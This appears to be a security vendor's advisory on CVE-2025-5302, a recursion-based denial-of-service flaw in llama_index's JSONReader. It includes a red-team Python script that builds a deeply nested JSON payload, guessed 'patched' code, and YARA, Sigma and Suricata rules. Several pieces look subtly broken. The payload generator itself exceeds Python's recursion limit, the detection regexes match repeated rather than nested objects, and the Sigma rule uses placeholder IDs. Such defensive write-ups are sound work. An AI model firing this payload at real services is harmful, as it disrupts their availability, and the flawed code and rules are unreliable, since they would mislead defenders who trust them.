CVE-2025-5302

Executive Summary

CVE-2025-5302 is a high-severity denial of service (DoS) vulnerability affecting the JSONReader component of the run-llama/llama_index Python library, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.

Supply Chain & Package Security

This vulnerability affects the llama_index Python package, which is distributed via PyPI. Users of this package are at risk if they process untrusted JSON data. The package is widely used in AI/ML pipelines for data indexing and retrieval, making it a potential target for supply chain attacks. Organizations should ensure they are using version 0.12.38 or later to mitigate this risk.

CVSS Breakdown & Threat Level

• CVSS Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required, low complexity) and the significant impact on availability. An attacker can cause a denial of service by sending a specially crafted deeply nested JSON file to the vulnerable component.

Deep Dive & Mechanics

The vulnerability lies in the JSONReader component of llama_index. When parsing JSON files, the component uses recursive function calls to traverse the JSON structure. If the JSON file contains deeply nested objects or arrays, the recursion depth can exceed Python's default recursion limit (typically 1000). This causes a RecursionError, which can crash the Python process or lead to excessive resource consumption.

The root cause is the lack of iterative parsing or depth limiting in the JSONReader implementation. The fix in version 0.12.38 likely involves either converting the recursive parsing to an iterative approach or adding a depth check to prevent excessive recursion.

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.37):

# Simplified example of vulnerable recursive parsing
def parse_json(data):
    if isinstance(data, dict):
        for key, value in data.items():
            parse_json(value)  # Recursive call without depth limit
    elif isinstance(data, list):
        for item in data:
            parse_json(item)  # Recursive call without depth limit
    else:
        # Process leaf node
        pass

Patched Code (v0.12.38):

# Simplified example of patched iterative parsing
def parse_json(data):
    stack = [(data, 0)]  # (node, depth)
    max_depth = 1000
    while stack:
        node, depth = stack.pop()
        if depth > max_depth:
            raise ValueError("JSON depth exceeds limit")
        if isinstance(node, dict):
            for value in node.values():
                stack.append((value, depth + 1))
        elif isinstance(node, list):
            for item in node:
                stack.append((item, depth + 1))
        else:
            # Process leaf node
            pass

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would craft a deeply nested JSON file and submit it to the JSONReader component. The following Python script demonstrates the attack:

import json

# Generate a deeply nested JSON structure
def generate_deep_json(depth):
    if depth == 0:
        return "leaf"
    else:
        return {"nested": generate_deep_json(depth - 1)}

# Create a JSON with depth > 1000
malicious_json = generate_deep_json(1500)

# Write to file
with open("malicious.json", "w") as f:
    json.dump(malicious_json, f)

print("Malicious JSON file created: malicious.json")

The attacker would then send this file to the vulnerable service, causing a denial of service.

Blue Team

To detect and mitigate this attack, blue teams should:

1. Monitor for Recursion Errors: Look for Python RecursionError exceptions in application logs.
2. Implement Input Validation: Reject JSON files with excessive nesting depth before parsing.
3. Use Resource Limits: Configure Python's recursion limit or use sandboxing to limit resource consumption.

Indicators of Compromise (IOCs)

• Log Entries: Python RecursionError exceptions in application logs.
• Network Traffic: Unusually large JSON payloads with deep nesting.
• System Metrics: High CPU or memory usage spikes when processing JSON files.

Detection Engineering

YARA Rule

rule Detect_Deeply_Nested_JSON {
    meta:
        description = "Detects deeply nested JSON files that may exploit CVE-2025-5302"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5302"
    strings:
        $json_start = "{" ascii
        $json_end = "}" ascii
        $nested_pattern = /(\{.*?\}){100,}/  // Matches 100+ nested objects
    condition:
        $json_start at 0 and $json_end at filesize - 1 and #nested_pattern > 0
}

Sigma Rule

title: Detection of Deeply Nested JSON Parsing
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Python RecursionError when parsing deeply nested JSON files
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-5302
logsource:
    category: application
    product: python
detection:
    selection:
        EventID: 1000  # Example event ID for Python exceptions
        Exception: "RecursionError"
    condition: selection
falsepositives:
    - Legitimate deeply nested JSON files (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-5302 - Deeply Nested JSON DoS Attempt"; flow:to_server,established; content:"{"; depth:1; pcre:"/(\{[^}]*\}){100,}/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade: Immediately update llama_index to version 0.12.38 or later.
2. Input Validation: Implement depth limits on JSON parsing (e.g., reject files with nesting depth > 100).
3. Resource Monitoring: Set up alerts for high CPU/memory usage and Python recursion errors.
4. Web Application Firewall (WAF): Deploy rules to block excessively large or deeply nested JSON payloads.
5. Sandboxing: Run the JSONReader component in a sandboxed environment with resource limits.

Valters IT
Securing Digital Frontiers